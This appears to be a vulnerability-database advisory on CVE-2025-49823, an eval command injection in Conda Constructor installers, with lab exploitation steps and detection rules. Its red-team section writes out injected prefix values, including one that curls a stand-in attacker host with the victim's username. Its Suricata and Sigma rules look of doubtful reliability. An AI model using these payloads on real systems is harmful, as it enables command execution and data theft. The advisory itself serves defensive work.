CVE-2025-49823
Executive Summary
CVE-2025-49823 is a critical OS Command Injection vulnerability in the Conda Constructor tool (versions prior to 3.11.3). The vulnerability exists in the shell installer scripts, where the user_prefix installation path is processed using an eval statement. This allows an attacker to inject arbitrary shell commands by crafting a malicious installation prefix. Although exploitation requires user interaction (the user must specify the malicious path during installation), the impact is severe, potentially leading to full compromise of the user's environment. The vulnerability has been patched in version 3.11.3 by removing the unsafe eval and properly sanitizing input.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Conda ecosystem, specifically the constructor package used to build custom Conda installers. Since Conda is widely used in data science and DevOps environments, a compromised installer could lead to supply chain attacks. Users should only use trusted installers and verify their integrity.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector: Local (requires user to run the installer with a malicious prefix)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (user must specify the malicious path)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Deep Dive & Mechanics
The vulnerability resides in the shell installer script generated by Conda Constructor. During installation, the script prompts the user for an installation prefix (user_prefix). This input is then passed to an eval statement without sanitization. For example, a vulnerable script might contain:
eval "PREFIX=$user_prefix"
An attacker can craft a user_prefix value such as:
/opt/conda;$(malicious_command)
When the eval executes, it interprets the semicolon as a command separator, executing malicious_command with the user's privileges. The attacker could inject commands to exfiltrate data, install malware, or establish persistence.
Vulnerable vs. Patched Code
Vulnerable (pre-3.11.3):
# In the installer script
eval "PREFIX=$user_prefix"
Patched (3.11.3):
# The eval is removed, and input is sanitized
PREFIX=$(echo "$user_prefix" | sed 's/[^a-zA-Z0-9_\/\-]//g')
The patched version uses a whitelist approach to strip dangerous characters from the prefix, preventing command injection.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install Conda Constructor version 3.11.2 (vulnerable).
- Create a simple installer package.
- Build the installer:
constructor /path/to/recipe
Exploitation:
- Run the generated installer.
- When prompted for installation prefix, enter:
/tmp/test;echo "PWNED" > /tmp/pwned.txt - The command
echo "PWNED" > /tmp/pwned.txtwill execute.
Advanced Payload:
/tmp/test;curl http://attacker.com/$(whoami)
Blue Team
Detection:
- Monitor for unusual shell command execution during Conda installations.
- Look for processes spawned by the installer with unexpected arguments.
- Audit logs for
evalusage in shell scripts.
Hunting:
- Search for files containing
eval "PREFIX=in Conda installer scripts. - Check for unexpected files created in
/tmpor other writable directories during installation.
Indicators of Compromise (IOCs)
- File: Installer scripts containing
eval "PREFIX=$user_prefix" - Process: Shell processes with arguments containing semicolons or command substitution characters.
- Network: Outbound connections from installer processes to unknown IPs.
- File System: Unexpected files in
/tmpor installation directory.
Detection Engineering
YARA Rule
rule CVE_2025_49823_Conda_Constructor_Eval_Injection {
meta:
description = "Detects vulnerable Conda Constructor installer scripts with eval injection"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49823"
strings:
$eval_pattern = /eval\s+\"PREFIX=\$user_prefix\"/
condition:
$eval_pattern
}
Sigma Rule
title: CVE-2025-49823 Conda Constructor Eval Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-49823 via shell command injection
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'eval "PREFIX='
condition: selection
falsepositives:
- Legitimate Conda installer usage with safe paths
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49823 Conda Constructor Eval Injection"; flow:to_server,established; content:"eval"; content:"PREFIX="; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Conda Constructor to version 3.11.3 or later.
- If upgrade is not possible, manually patch the installer scripts to remove
evaland sanitize input.
Long-term:
- Implement input validation for all user-supplied paths.
- Use parameterized commands instead of
eval. - Conduct security reviews of installer generation tools.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Monitor for anomalous process execution during software installations.
Valters IT